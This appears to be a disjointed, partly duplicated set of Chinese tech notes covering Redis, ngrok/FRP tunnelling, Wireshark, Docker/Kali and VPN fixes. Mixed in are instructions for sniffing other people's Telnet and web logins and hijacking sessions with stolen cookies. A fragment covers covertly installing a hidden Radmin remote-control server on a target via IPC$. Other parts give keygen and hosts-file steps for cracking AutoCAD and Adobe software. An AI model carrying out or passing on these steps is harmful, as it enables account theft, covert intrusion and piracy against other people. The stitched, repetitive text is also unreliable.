如果 安装的时候 make 之后 执行了make install 命令 这些程序就会被 复制到 /usr/local/bin 目录内 所以 在 命令行中 直接输入程序名称即可执行 如: 终端 输入 redis-server 就能启动 redis 当然 如果已经启动过 就会报错 说已经运行中,. — redis-server redis 服务器 redis-cli redis 命令行客户端 redis-benchmark redis 性能测试工具 redis-check-aof AOF 文件修复工具 redis-check-dump RDB 文件检查工具 redis-sentinel sentinel 服务器. —

最常使用:
redis-server 服务器. redis-cli 自带的 redis 命令行 客户端 学习 redis 的重要工具.

直接启动: redis-server

默认使用 6379端口. 可以用 —port 自定义端口如: redis-server –port 6380

脚本启动(开机启动):

redis_init_script 
//初始化脚本文件 在redis 源代码目录  utils 文件夹下

首先 这个脚本 先复制到 /etc/init.d 目录下 文件名 设置成 redis_ 端口号 客户端 通过这个端口 连接 redis.

  • 修改脚本第六行 redisport 的变量值 改成你设置的端口号 建立需要的文件夹. /etc/redis //存放 redis 的配置文件 /var/redis/端口号 //存放 redis 的持久化文件(内存异步到硬盘的文件.) ….

停止 Redis 强行终止 Redis 可能会导致数据丢失(内存数据同步到硬盘的时候)

redis-cli shutdown 或者 kill redis 进程 也可以.

命令行客户端: redis-cli Redis Command Line Interface

发送命令: 一: 每条命令前 都加 redis-cli

二: 直接运行 redis-cli 客户端 在里面输入命令

启动 redis-cli redis-cli

测试 客户端与服务器 连接是否正常
打开命令行客户端 输入 ping 返回 pong 就是连接正常.

命令返回值: 比如查询某个数据要返回结果的.

状态回复. ok / pong 等等 都是

错误回复: error / ERR + 具体错误信息

比如 wrongtype 表示 类型错误

整数回复: 1 字符串回复

请求值 不存在 nil

配置:

配置文件模板 在源代码根目录 redis.conf

多数据库: Redis 提供了多个用来存储数据的字典. 可以指定数据存到哪个字典 可以理解成 每个字典都是一个独立的数据库.

默认支持16个数据库. 数据库名是 0-16 不支持 自定义数据库名称.

客户端 默认连接 0 号数据库. 可以用 select 更换数据库 如: 进入 命令行客户端 select 1 > 会提示 ok 就表示切换成功.

解决方案: 不管,或者升级系统.

  1. 重启网卡. 禁用启动
  2. 卸载隐藏的 网卡适配器.
  3. 重命名电脑名字.
  4. 换个 工作组.

  5. win7.

  6. ipconfig /release
  7. ipconfig /renew

  8. 卸载不必要的网卡.## Ngrok

搜索 Ngrok 服务器分享 可能有别人免费分享的服务器.

  1. 官网下载客户端 解压 得到一个软件包.
  2. 把解压出来的包 放到你喜欢的位置. 要一直保留的
  3. cd 到 安装包位置
  4. Terminal: ./ngrok http 800 

    这个就是开放本机800端口到互联网 前体是本地可以访问 127.0.0.1:800/

ngrok by @inconshreveable (Ctrl+C to quit)

Tunnel Status online Version 2.1.3 Region United States (us) Web Interface http://127.0.0.1:4040

管理页面 可以看到有哪些链接!!! 以及 请求的 url Forwarding http://edfcd700.ngrok.io -> localhost:80 Forwarding https://edfcd700.ngrok.io -> localhost:80 随机给你生成的二级域名.
访问这个网站就是直接访问你本机的80端口 也就是默认 Web 网页!!!

Connections ttl opn rt1 rt5 p50 p90 0 0 0.00 0.00 0.00 0.00

顶级域名绑定:(付费可用) 域名购买那里 cname 解析到 ngrok.com 就可以.

转发到局域网内其他机器 ./ngrok 172.19.16.16:80

TCP 端口转发 也就是外网可以ssh 到本机了. ./ngrok -proto=tcp 22

采用自定义域名(不确定) steven-mbp.ngrok.com 转发到本机8080 ./ngrok -subdomain Steven-mbp 8080下载. 收费的 6¥.

兼容surge 规则.

配置超级简单.

购买的ss 帐号 如果支持二维码的话.

只需要 软件 左上角 扫下照片就配置好了.

然后点击 连接那个按钮就可以了.

Hash 翻译散列. 音译哈希

一种 将任意长度的消息压缩到某一固定长度的消息摘要的函数。

特性: (使用同一函数的情况下) 结果不一样 . 原始值肯定也不一样.

常用 Hash 算法:

  • MD5 Message Digest 消息摘要.

    Function :

  • 文件校验
  • 数字签名.

MD5-Hash-文件的数字文摘通过Hash函数计算得到。 不管文件长度如何,它的Hash函数计算结果是一个固定长度的数字。 与加密算法不同,这一个Hash算法是一个不可逆的单向函数。采用安全性高的Hash算法,如MD5、SHA时,两个不同的文件几乎不可能得到相同的Hash结果。因此,一旦文件被修改,就可检测出来。

免费帐号: 一本私人书籍. 公开书籍不限.

封面 Cover. 只支持 jpeg.

a beautiful book . a cover is really needed. gitbook have two cover.

  • cover.jpg (大封面) 最佳size: 1800x2360
  • cover_samll.jpg (小封面) 最佳size: 200x262

封面设计:

  • 不要设计边框.
  • 书名清晰可见.
  • 任何重要的文字 都应该在小尺寸时候 看得清楚.

个性化设置: 可以修改主题外. 还可以用 book.json 来修改书籍名称/显示效果.

默认主题虽然不错.但是 还有很多别的主题. npm 上搜索 gitbook-theme 来查找主题插件.

ComScore 彩色主题. (默认是黑白的) 可以给各级标题添加不同的颜色. 更容易区分.


实用插件: 除了主题插件 还有别的插件. NPM 搜索: gitbook-plugin

3种方法:

  1. 在线编辑器
  2. 本地 Gitbook Editor 界面编辑器. 下载链接
  3. 本地 文本编辑器.

a software . use git and markdown to write a book .

安装好客户端之后: 登录+验证

新建书本: (会跳到网页去创建) 网页上建好了 再clone到本地进行编辑.

install sudo npm install gitbook -g

install node.js first. node.js will install npm.

use: two steps. gitbook init 初始化 书籍目录 gitbook serve 编译书籍

First: 创建如下目录结构:

tree book/ book/ README.md SUMMARY.md

readme.md & summary.md is needed.

readme : a simple introduction of book. summary: 书籍的目录结构

创建这两个文件后 用 gitbook init. 会给我们创建 summary.md 中的目录结构.

然后就可以 用 gitbook server 来编译和预览

$ gitbook serve Press CTRL+C to quit …

Live reload server started on port: 35729 Starting build … Successfully built!

Starting server … Serving book on http://localhost:4000

现在,可以用浏览器打开 http://127.0.0.1:4000 查看书籍的效果

就可以向其中添加真正的内容了,文件的编写使用 markdown 语法,在文件修改过程中,每一次保存文件,gitbook serve 都会自动重新编译,所以可以持续通过浏览器来查看最新的书籍效果!

FRP/Ngrok 等等内网穿透 一般都是用反向代理. FRP Mac 下载: frp_0.8.1_darwin_amd64.tar.gz 

原理简介:

  • 服务器一台:A 有固定IP.
  • 本地一台:B 能上网就可以!
  • 别人电脑:C
  • c要连A. 就必须通过b 再转到A.

FRP免费服务器1 FRP免费服务器2

FRP 软件使用

百度云下载地址安装包. 一般有4个文件.

别人提供服务器的话:只需保留本地的两个文件.其他delete.

  • 两个放在本机.
  • 两个放在服务器. 接下来就 安装别人提供的信息 进行配置.

最后终端 CD到解压目录 → 执行 ./frpc -c frpc.ini

通过 ssh -oPort=6000 {user}@x.x.x.x 测试是否能够成功连接服务器A({user}替换为服务器A上存在的真实用户),或通过浏览器访问自定义域名验证 http 服务是否转发成功。

重点注意: FRP 和 Ngrok 区别: Ngrok 的客户端是 不一样的. 里面集成什么认证. 反正和服务器是一一对应的. Ngrok 的服务器提供商有不少. 他们各自的客户端是不通用的.

Introduction 官网

网络分析神器 网络故障分析 第一时间发现蠕虫病毒 木马程序 以及 arp 欺骗 等问题的根源

**可嗅探: Telnet HTTP FTP **不可探: SSH HTTPS

过滤器

默认设置有大量冗余信息,设置过滤规则,减少信息量.

捕捉过滤器 : CaptureFliter 捕捉什么样的信息,开始捕捉前设置!主要控制数据包数量 显示过滤器 : DisplayFliter 更强大复杂,在捕捉结果中准确找到你想要的东西.

**捕捉过滤器详解:

菜单栏 → 捕获 → 捕获过滤器 (选默认或者新建规则) 这里 设置常用的自定义过滤语法. 然后保存.

用法: ⌘+k → 选择网卡 → 底下 所选接口的捕获过滤器 →

  • 直接输入 自定义语法.
    • 点击黄色书签 选择你之前自定义的过滤语法.

语法:

  1. Protocol 协议 可能值: IP ARP TCP UDP …… 默认值: 默认支持所有协议.

您可以使用大量位于OSI模型第2至7层的协议。点击”Expression…”按钮后,您可以看到它们。 比如:IP,TCP,DNS,SSH

  1. Direction 方向: src 来源口、dst 目的口

可能值: src、dst、src and dst、src or dst 默认值: src or dst

host 172.19.16.16 = src or dst host172.19.16.16

  1. Host 主机

可能值: net、port、host、portrange 默认值: host src 172.19.16.16 = src host 172.19.16.16

  1. Logical Operation 逻辑运算: and、or、not

not 最高优先级. or、and 相同优先级. 运算从左到右进行.

not tcp port 80 and tcp port 8080 等于: (not tcp port 80) and tcp port 8080 不等于: not (tcp port 80 and tcp port 8080)

**Examples :

tcp dst port 8080 捕捉 目的 TCP 端口为 8080 的 封包

ip src host 172.19.16.1  捕捉来源 ip 是 xxx 的封包

host 172.19.16.16 捕捉目的 或者来源 IP 是 xxx 的封包.

ether host e0-05-c5-44-b1-3c  //捕捉目的或来源MAC地址为e0-05-c5-44-b1-3c的封包。 如果你想抓本机与所有外网通讯的数据包时,可以将这里的mac地址换成路由的mac地址即可。

src portrange 2000-2500   //捕捉来源为UDP或TCP,并且端口号在2000至2500范围内的封包。

not imcp   //显示除了icmp以外的所有封包。(icmp通常被ping工具使用)

`src host 10.7.2.12 and not dst net 10.200.0.0/16  `//显示来源IP地址为10.7.2.12,但目的地不是10.200.0.0/16的封包。 `(src host 10.4.1.12 or src net 10.6.0.0/16) and tcp dst portrange 200-10000 and dst net 10.0.0.0/8   `//捕捉来源IP为10.4.1.12或者来源网络为10.6.0.0/16,目的地TCP端口号在200至10000之间,并且目的位于网络 10.0.0.0/8内的所有封包。 `src net 192.168.0.0/24  ``src net 192.168.0.0 mask 255.255.255.0   ` //捕捉源地址为192.168.0.0网络内的所有封包。

当您想排除广播请求时,”no broadcast”就会非常有用

显示过滤器

snmp || dns || icmp  //显示SNMP或DNS或ICMP封包。 
ip.addr == 10.1.1.1   //显示来源或目的IP地址为10.1.1.1的封包。
ip.src != 10.1.2.3 or ip.dst != 10.4.5.6   //显示来源不为10.1.2.3或者目的不为10.4.5.6的封包。 换句话说,显示的封包将会为: 来源IP:除了10.1.2.3以外任意;目的IP:任意 以及 来源IP:任意;目的IP:除了10.4.5.6以外任意

ip.src != 10.1.2.3 and ip.dst != 10.4.5.6   //显示来源不为10.1.2.3并且目的IP不为10.4.5.6的封包。 换句话说,显示的封包将会为: 来源IP:除了10.1.2.3以外任意;同时须满足,目的IP:除了10.4.5.6以外任意

tcp.port == 25   //显示来源或目的TCP端口号为25的封包。 

tcp.dstport == 25   //显示目的TCP端口号为25的封包。 

tcp.flags  //显示包含TCP标志的封包。 

tcp.flags.syn == 0×02  //显示包含TCP SYN标志的封包。 

如果过滤器的语法是正确的,表达式的背景呈绿色。如果呈红色,说明表达式有误。

软件界面介绍

上面: 数据包列表 简单信息 中间: 协议树 详细信息 下面: 16进制 显示 数据包内容 : 数据在物理层上传输时的最终形式

no. 数据包 数量 Time 每个数据包的捕捉时间

source: 源地址 destination: 目的地址 protocal: 所属协议 length: 数据包长度 info: 数据包简单信息 frame number: 主机 mac 地址: ethernetII
ip 地址 : internet protocol TCP 端口号: transmission control protocol HTTP 协议具体内容: Hypertext transfer protocol

右键 有追踪流 功能: 获取更详细的信息

192.168.0.255 是广播的意思

简单设置

默认设置: 会得到大量的无用信息 以至于很难找到自己需要的信息 这就需要 设置 过滤规则 来减少信息量了.

使用步骤

1: 选择接口 (网卡) 主界面 自己双击你要的接口.

2: 设置捕捉过滤器 默认情况下,Wireshark捕捉一切看得见的数据,这可能正是你一开始想要做的事情。但是一旦你了解了流量的类型,就可以设置捕捉过滤器,那样你仅仅捕捉发往/来自特定机器的流量,或特定的协议。

柏克莱封包过滤器(BPF)

Berkeley Packet Filter,缩写 BPF

洪泛模式/混杂模式 如果网卡支持这种模式, 当网卡处于此种模式,可以收到网络上的所有包,不管他们的目的地是不是所在主机。

实例!

Telnet 账号密码嗅探

环境: 本机抓包 172.19.16.188 客户端 172.19.16.166 服务器172.19.16.16

本机 设置捕捉过滤器: host 172.19.16.16 并 开始抓包.

客户端: 进bash 或者用 putty 软件 用 telnet 方式 连接服务器. 输入账号密码并且要成功登陆.

本机 停止抓包 显示过滤器 里面输入: telnet (只显示和 telnet 协议有关的封包)

然后一个个包看 (看详细内容 中的 Telnet 模块 展开 ) 这里会有 所有你用 putty 输入的每个字母. 每个字母一个封包. 特殊字段 \rlogin: 后面的包就是账户. 特殊字段 \rpassword: 后面的包就是密码. 组合起来就是完整的账号密码.

或者 直接找一个 telnet 包 → 右键 → 追踪流 → TCP 流 出现一个表格. 里面 就有账号密码. 账号可能会有重复.

HTTP 嗅探:

网址 & 图片 & 浏览器版本 & 电脑系统版本 &

开嗅探器 → 对方上网 看网页 看图片 → 结束嗅探 → 过滤出 http
详细里面找 格式 是 JPEG 或 PNG 的封包. 原始数据 导出到本地 , 改名+后缀 , 本地就能查看了.

网页邮箱 账号密码嗅探: ( HTTP 明文 )

  1. 抓包 →
  2. 过滤 post 数据     http.request.method== "POST"    
  3. 追踪过滤出来的 POST 的 TCP 流.
  4. 找到账号密码.

    *POST 数据: 因为当你输入用户名和密码并点击登录按钮时, 将会产生一个POST将你输入的数据发送到远程服务器上。

HTTP 加密嗅探

邮箱网站 会对 用户发送的密码 求哈希值.而不是直接明文. 这个就需要 识别该哈希对应的密码值.

要用 hash-identifier 工具来确定密码的哈希值到底是什么类型的 hash.

打开终端,然后输入“hash-identifier”并将上面的哈希值粘贴到终端,回车之后hash-identifier将会给出可能的匹配值。

facebook 没开启 https 不一定能获取 账号密码 但是可以获取 cookies 抓包 cookie 然后 导出文本

然后用 火狐浏览器 安装cookie 注入 工具 → 粘帖 就能登录了.

Wireshark

先选择一个网卡.

筛选器: 显示过滤器 主界面. 捕捉过滤器. Capture -> Capture Filters

表达式规则

 \1. 协议过滤

  1. IP 过滤 比如 ip.src ==192.168.1.102 显示源地址为192.168.1.102, ip.dst==192.168.1.102, 目标地址为192.168.1.102

  2. 端口过滤 tcp.port ==80,  端口为80的 tcp.srcport == 80,  只显示TCP协议的愿端口为80的。

  3. Http模式过滤 http.request.method==”GET”,   只显示HTTP GET方法的。

  4. 逻辑运算符为 AND/ OR 常用的过滤表达式

比如: 显示过滤器

tcp: 只显示 tcp.睡觉觉上赛季

ip.dst == 192.168.0.255
目的地 ip 为 255的 包,. maiken.

挂号处  2. 门诊收费  3. 住院收费  4. 门诊医生站  5. 门诊护士站  6. 住院医生站  7. 住院护士站

  1. 药房:  9. 药库: 10.物资库:

linux.

电脑 进行 网关的 静态绑定.

xp: cmd 回车 arp -a 查看局域网 的 ip 地址+ mac 记录.

arp 计算机仅仅知道ip地址是无法通信的,ip数据报在封装到数据链路层中时需要加上比如以太网报头,报头中应该含有数据链路层能理解的地址即MAC地址。ARP就是着么一种将IP转换成MAC地址的协议。

如下例子,当我们Ping一台机器时,如果该ip在arp缓存中有,就可以直接找到mac地址,如果没有,就会广播一个请求询问对应ip的mac地址。

显示+修改 arp 缓存项目.

广播 高层协议:
ARP address resolution protocol NBNS netbios name server..

name query NB 意思:

Introduction 官网

网络分析神器 网络故障分析 第一时间发现蠕虫病毒 木马程序 以及 arp 欺骗 等问题的根源

**可嗅探: Telnet HTTP FTP **不可探: SSH HTTPS

过滤器

默认设置有大量冗余信息,设置过滤规则,减少信息量.

捕捉过滤器 : CaptureFliter 捕捉什么样的信息,开始捕捉前设置!主要控制数据包数量 显示过滤器 : DisplayFliter 更强大复杂,在捕捉结果中准确找到你想要的东西.

**捕捉过滤器详解:

菜单栏 → 捕获 → 捕获过滤器 (选默认或者新建规则) 这里 设置常用的自定义过滤语法. 然后保存.

用法: ⌘+k → 选择网卡 → 底下 所选接口的捕获过滤器 →

  • 直接输入 自定义语法.
    • 点击黄色书签 选择你之前自定义的过滤语法.

语法:

  1. Protocol 协议 可能值: IP ARP TCP UDP …… 默认值: 默认支持所有协议.

您可以使用大量位于OSI模型第2至7层的协议。点击”Expression…”按钮后,您可以看到它们。 比如:IP,TCP,DNS,SSH

  1. Direction 方向: src 来源口、dst 目的口

可能值: src、dst、src and dst、src or dst 默认值: src or dst

host 172.19.16.16 = src or dst host172.19.16.16

  1. Host 主机

可能值: net、port、host、portrange 默认值: host src 172.19.16.16 = src host 172.19.16.16

  1. Logical Operation 逻辑运算: and、or、not

not 最高优先级. or、and 相同优先级. 运算从左到右进行.

not tcp port 80 and tcp port 8080 等于: (not tcp port 80) and tcp port 8080 不等于: not (tcp port 80 and tcp port 8080)

**Examples :

tcp dst port 8080 捕捉 目的 TCP 端口为 8080 的 封包

ip src host 172.19.16.1  捕捉来源 ip 是 xxx 的封包

host 172.19.16.16 捕捉目的 或者来源 IP 是 xxx 的封包.

ether host e0-05-c5-44-b1-3c  //捕捉目的或来源MAC地址为e0-05-c5-44-b1-3c的封包。 如果你想抓本机与所有外网通讯的数据包时,可以将这里的mac地址换成路由的mac地址即可。

src portrange 2000-2500   //捕捉来源为UDP或TCP,并且端口号在2000至2500范围内的封包。

not imcp   //显示除了icmp以外的所有封包。(icmp通常被ping工具使用)

`src host 10.7.2.12 and not dst net 10.200.0.0/16  `//显示来源IP地址为10.7.2.12,但目的地不是10.200.0.0/16的封包。 `(src host 10.4.1.12 or src net 10.6.0.0/16) and tcp dst portrange 200-10000 and dst net 10.0.0.0/8   `//捕捉来源IP为10.4.1.12或者来源网络为10.6.0.0/16,目的地TCP端口号在200至10000之间,并且目的位于网络 10.0.0.0/8内的所有封包。 `src net 192.168.0.0/24  ``src net 192.168.0.0 mask 255.255.255.0   ` //捕捉源地址为192.168.0.0网络内的所有封包。

当您想排除广播请求时,”no broadcast”就会非常有用

显示过滤器

snmp || dns || icmp  //显示SNMP或DNS或ICMP封包。 
ip.addr == 10.1.1.1   //显示来源或目的IP地址为10.1.1.1的封包。
ip.src != 10.1.2.3 or ip.dst != 10.4.5.6   //显示来源不为10.1.2.3或者目的不为10.4.5.6的封包。 换句话说,显示的封包将会为: 来源IP:除了10.1.2.3以外任意;目的IP:任意 以及 来源IP:任意;目的IP:除了10.4.5.6以外任意

ip.src != 10.1.2.3 and ip.dst != 10.4.5.6   //显示来源不为10.1.2.3并且目的IP不为10.4.5.6的封包。 换句话说,显示的封包将会为: 来源IP:除了10.1.2.3以外任意;同时须满足,目的IP:除了10.4.5.6以外任意

tcp.port == 25   //显示来源或目的TCP端口号为25的封包。 

tcp.dstport == 25   //显示目的TCP端口号为25的封包。 

tcp.flags  //显示包含TCP标志的封包。 

tcp.flags.syn == 0×02  //显示包含TCP SYN标志的封包。 

如果过滤器的语法是正确的,表达式的背景呈绿色。如果呈红色,说明表达式有误。

软件界面介绍

上面: 数据包列表 简单信息 中间: 协议树 详细信息 下面: 16进制 显示 数据包内容 : 数据在物理层上传输时的最终形式

no. 数据包 数量 Time 每个数据包的捕捉时间

source: 源地址 destination: 目的地址 protocal: 所属协议 length: 数据包长度 info: 数据包简单信息 frame number: 主机 mac 地址: ethernetII
ip 地址 : internet protocol TCP 端口号: transmission control protocol HTTP 协议具体内容: Hypertext transfer protocol

右键 有追踪流 功能: 获取更详细的信息

192.168.0.255 是广播的意思

简单设置

默认设置: 会得到大量的无用信息 以至于很难找到自己需要的信息 这就需要 设置 过滤规则 来减少信息量了.

使用步骤

1: 选择接口 (网卡) 主界面 自己双击你要的接口.

2: 设置捕捉过滤器 默认情况下,Wireshark捕捉一切看得见的数据,这可能正是你一开始想要做的事情。但是一旦你了解了流量的类型,就可以设置捕捉过滤器,那样你仅仅捕捉发往/来自特定机器的流量,或特定的协议。

柏克莱封包过滤器(BPF)

Berkeley Packet Filter,缩写 BPF

洪泛模式/混杂模式 如果网卡支持这种模式, 当网卡处于此种模式,可以收到网络上的所有包,不管他们的目的地是不是所在主机。

实例!

Telnet 账号密码嗅探

环境: 本机抓包 172.19.16.188 客户端 172.19.16.166 服务器172.19.16.16

本机 设置捕捉过滤器: host 172.19.16.16 并 开始抓包.

客户端: 进bash 或者用 putty 软件 用 telnet 方式 连接服务器. 输入账号密码并且要成功登陆.

本机 停止抓包 显示过滤器 里面输入: telnet (只显示和 telnet 协议有关的封包)

然后一个个包看 (看详细内容 中的 Telnet 模块 展开 ) 这里会有 所有你用 putty 输入的每个字母. 每个字母一个封包. 特殊字段 \rlogin: 后面的包就是账户. 特殊字段 \rpassword: 后面的包就是密码. 组合起来就是完整的账号密码.

或者 直接找一个 telnet 包 → 右键 → 追踪流 → TCP 流 出现一个表格. 里面 就有账号密码. 账号可能会有重复.

HTTP 嗅探:

网址 & 图片 & 浏览器版本 & 电脑系统版本 &

开嗅探器 → 对方上网 看网页 看图片 → 结束嗅探 → 过滤出 http
详细里面找 格式 是 JPEG 或 PNG 的封包. 原始数据 导出到本地 , 改名+后缀 , 本地就能查看了.

网页邮箱 账号密码嗅探: ( HTTP 明文 )

  1. 抓包 →
  2. 过滤 post 数据     http.request.method== "POST"    
  3. 追踪过滤出来的 POST 的 TCP 流.
  4. 找到账号密码.

    *POST 数据: 因为当你输入用户名和密码并点击登录按钮时, 将会产生一个POST将你输入的数据发送到远程服务器上。

HTTP 加密嗅探

邮箱网站 会对 用户发送的密码 求哈希值.而不是直接明文. 这个就需要 识别该哈希对应的密码值.

要用 hash-identifier 工具来确定密码的哈希值到底是什么类型的 hash.

打开终端,然后输入“hash-identifier”并将上面的哈希值粘贴到终端,回车之后hash-identifier将会给出可能的匹配值。

facebook 没开启 https 不一定能获取 账号密码 但是可以获取 cookies 抓包 cookie 然后 导出文本

然后用 火狐浏览器 安装cookie 注入 工具 → 粘帖 就能登录了.

把Radmin的密码,选项和安装服务设置好,并且在hide那里打上“勾”(如果不打“勾”的话,到时候入侵的时候,目标的任务栏会出现一个小托盘,这样我们就容易暴露了)

三:利用IPC$或FTP攻击目标,映射目标C盘,把本机C:\winnt\system32下的r_server.exe和admdll.dll2个文件复制到目标C盘下的winnt\system32\里面

四:开始——运行,输入:telnet,然后输入r_server /install,然后再输入:net start r_server 五:连接到目标看看是不是可以看到对方在干什么了!- -!!!## VPN 故障

ping -s 1500 172.19.16.16 大小

拨完VPN一般就是形成一条优先级比原默认路由高一些的另一条默认路由CMD下敲route print能看到两条0.0.0.0的路由,VPN形成的那条metric小些意外中断VPN或者其他什么操作可能导致VPN已经断了,但是PC里那条VPN形成的默认路由没有删掉,自然外网都上不了的,CMD下route delete删掉那条VPN形成的默认路由就行了

遇到过好多次用了VPN后就不能上internet的情况。你可以用下面的方法试试。

看你建立的vpn拨号连接的tcp/ip协议里有个高级–常规,有个选项是"远程使用默认网关"之类的,应该只有这一个选项,把勾勾取消就ok了。

如果是按照上面的设置后能上网。但又连不到拨vpn后可以连接的服务器了。

你则可以查看本机的路由设置。

route print :

检查一下路由。

比如加上 如下的路由

route add 10.1.251.0 mask 255.255.255.0 10.1.40.131

看看这样是否可以连接到相应的vpn内网网段。这儿假设你的内网网段是 10.1.251.0

如果这样设置以后可以了。那恭喜你了,可以vpn,上网两不误了。

具体操作: 在VPN连接中,打开“属性”,打开“网络”,打开“TCP/IP协议”,打开“属性”,打开“高 级”,在“常规”中可以看到“在远程网络上使用默认网关”已经被勾选,我们只要把这个 勾去掉,确定以后就可以了。

能 ping 通 不能打开?

http://en.gravatar.com 这里注册

xujian0219@126.com

这个邮箱下面 还能添加别的邮箱. 方便管理.

头像有个缓冲期的 . 不是 实时生效的.

零售版 retail 大客户版本/批量授权版 

功能完全相同,但激活方式完全不同。

vl 版本用 kms 激活.

Office2016、Office2013、Office2010 VOL Edition(批量授权版):“VOL”即“批量组织授权许可”。微软对于“VOL”大客户版提供了两种激活方式,即:“KMS”和“MAK”。 KMS激活主要是靠各种小工具,最完美的激活是MAK密钥激活,这个才是真正永久激活,且不会失效,但MAK密钥不是任何时候都有的。

Office2016、Office2013、Office2010 RTL Edition(零售版):Office2016/Office2013/Office2010零售版的激活,目前Office 2010的零售版的KEY基本上全部被封,所以Office 2010的基本上没人折腾零售版的KEY了,Office2013和Office2016的零售版的KEY目前完全需要碰运气。

Office 宏

安装的时候 office 共享 也要装上.

官方下载软件 .     下载破解软件  xforce   http://www.xforcehacks.com/       1:    安装  选择 标准单机的    序列号 : 666-69696969        Key每个版本 都有对应的key的   直接百度. 很简单的   后面五位就是. AutoCAD for Mac 2015         777G1 AutoCAD 2015                           001G1   2:  然后安装     安装完成后断网.       打开xfore      打开软件    3:  cad软件里面选择激活    他会有个 request code 显示出来的   复制这个到 xforce  点击中间的破解, 再点击左边的patch!!!!      这里如果有问题 电脑重启 再试试. 然后把算出来的 序列号  复制到软件里面  下一步就好了 .           彻底删除软件:     appclean  + 手动删除 library / perferences / flexnet publisher  文件夹!.  

Adobe cc 破解 亲测

自己的百度云去下载     软件+破解工具   大概流程     断网.   1.(去除对adobe的屏蔽) Finder  Hua shift G        去etc文件夹  找到  host 文件复制到桌面 在桌面修改 127.0.0.1    那几行全删掉 保存 再复制到etc下面  替换 结果差不多 如下图:

2 软件进行安装    选择  我已经购买   安装 - 登录 - 稍后链接-接受    跳出一行要你序列号    这步  打开注册机  xf-accm2014

Product  选择 相应的你安装的程序名字   点击  gen.serial   生产序列号   拷贝 生产的序列号  复制到安装软件的序列号中 点击下一步   再选择  稍后链接         正式安装软件  (中间不能关掉注册机)   安装完成 点击立即启动   会跳出  

选择  连接internet 出现问题     脱机激活    选择 生产请求代码

里面的请求代码   复制到注册机的第二行  点击注册机的  gen activation   得到激活码 再把激活码  复制到软件中就可以了   点击 启动软件 弹框点接受  软件就正常打开了.         当所以adobe的软件都安装好后 需要到etc  host   拷贝到桌面 修改 加入 这段代码   存储 替换到etc 下的host   (防止联网后 官方会检测到破解软件) 之后就正常使用了.   127.0.0.1 lmlicenses.wip4.adobe.com 127.0.0.1 lm.licenses.adobe.com 127.0.0.1 na1r.services.adobe.com 127.0.0.1 hlrcv.stage.adobe.com 127.0.0.1 practivate.adobe.com 127.0.0.1 activate.adobe.com

Kali PHP Docker

远程 Docker:

Kali: Apt-get

  1. apt-get update 更新系统.

  2. apt-get upgrade 升级系统.

必备:Curl

7.1.0 Alpha3 Download Link

Web:

Kali 下载 PHP7: 用 curl.

安装 curl

**ssh installed?? use ssh -V if nothing show .so you need install openssh-server.

**install

apt-get update 必要的. apt-get install openssh-server -y ssh -V you can see the version now.

SSH 配置文件 : vi /etc/ssh/sshd_config

服务状态 : service ssh status

启动/重启 服务 : 二选一 /etc/init.d/ssh start / restart
service ssh start / restart

**ssh configure

  1. 默认不许 空密码登录 ! 修改配置文件. PermitEmptyPasswords no PermitEmptyPasswords yes 

    1. 默认Root不能用密码登录! PermitRootLogin prohibit-passwordPermitRootLogin yes

    2. 然后重启服务! `/etc/init.d/ssh restart `

Kitematic (Docker)

Docker 的 GUI 图形界面. 方便使用 Docker.

  1. 下载镜像到本地. 这里选择 Kali.

然后新建容器就可以了. 本地镜像可以删除 (前提是你 删除所有用了这个镜像的容器. 不然不给你删除的)

Docker :

  • 轻量级虚拟机! 是一个进程 不是一台机器.
  • 两个程序 服务端 和 客户端. 服务端管理所有容器.

Docker 会为所有已经运行(包括已经停止)的容器随机分配一个唯一的名字和一个唯一的 ID, docker 命令可以识别 ID,也可以识别这个名字。 docker ps -a 来显示

每次运行 docker run 命令的时候,Docker 都会新建一个唯一的容器ID , → 不同的容器 数据是不通的… 已经停止的容器 里面的数据不会消失 用 docker ps -a 显示.

现在我们使用 -i(交互式)和 -t(临时终端)参数运行一个容器,然后输入一些交互命令:

版本信息: docker version Client: Version: 1.11.0 API version: 1.23 Go version: go1.5.4 Git commit: 4dc5990 Built: Wed Apr 13 18:13:28 2016 OS/Arch: darwin/amd64

Server:
 Version:      1.11.0
 API version:  1.23
 Go version:   go1.5.4
 Git commit:   4dc5990
 Built:        Wed Apr 13 19:36:04 2016
 OS/Arch:      linux/amd64

Mac :

Docker 不原生支持Mac → So go 官网 Download: Docker Toolbox .帮你配置环境.

使用:

  • Docker Quickstart Terminal // 运行 docker 命令 要在这里输入. 因为 mac 不能支持原生 docker . 需要通过虚拟机来实现.
  • Kitematic // 界面形式的 docker

显示所有参数  docker 版本信息  docker version 镜像列表:  docker images 重命名镜像名  docker tag 468e6235b128 kali:latest tag + ID + Name:latest → 默认官方名字 改成 kali 开关启 Docker  docker run / stop kali -i -t ( Contain name ) 运行中的镜像  docker ps 需要新开 docker 终端 执行.

保存&启动 容器 其实是新加标签 类似 git . 要养成给容器打标签的习惯.

  1. 新终端 docker ps 查看 容器 ID (经常会变 不固定的.) 记下前3位数字.
  2. 新终端 docker commit 188 xujian 就把容器保存为xujian 了
  3. 启动保存的容器: docker -it xujian

    docker run ubuntu /bin/echo ‘hello world’ // 要有 系统名称 比如 ubuntu . 本地没有镜像 docker 会自动下一个.

    docker inspect 698 容器的详细信息.

备份镜像 docker push xujian

删除容器 docker rm 43de70a54ec1,或者简写成 docker rm 43de 来释放空间.

删除镜像: docker rmi xujian // 如果有容器(即便已经停止) 存在. 那么就不能删除镜像. 不然暂停的容器就起不来.

新建 Docker 切换到 docker 管理容器

docker run -it ubuntu bash
// 就能进到 ubuntu 的 bash 了 能输入各种命令.

docker run ubuntu
docker → 你要使用 docker
run  → 开启 运行
ubuntu → 镜像名称 

找到镜像: 去 docker 官网看. https://hub.docker.com/explore/

下载 mysql docker pull mysql

下载 debian docker pull debian

在 docker 中运行 hello world docker run debian echo ‘‘hello world’’

在容器中安装程序:

保存容器:

  1. 查看容器的 ID : docker ps 只需前几位id就好 docker commit 698 ubuntu

每次运行 都是一个新的容器.

删除容器: 先停止 再删除 docker stop ubuntu docker rm ubuntu

官网下驱动  →  安装驱动  →  接上打印机   → 重启电脑   打印机 服务没启动   控制面板-安全选项-服务管理-服务-print spool 设置为自动启动. 安装驱动 电脑重启 添加打印机 -选择默认打印机.打印.

网上邻居  \1. 看本地连接属性, 是否装了 网络文件和打印机共享.    \2. 控制面板-管理工具-本地安全策略-本地策略-用户权限   从网络访问此计算机 加入guest   从拒绝从网络访问这台计算机 删除 guest     \3. 重启.     •     • 电源好坏: 24孔那排 中间附近 有绿色和黑色两根电线 用电线连通( 短路 )     电源风扇转 就是大致上电源是好的

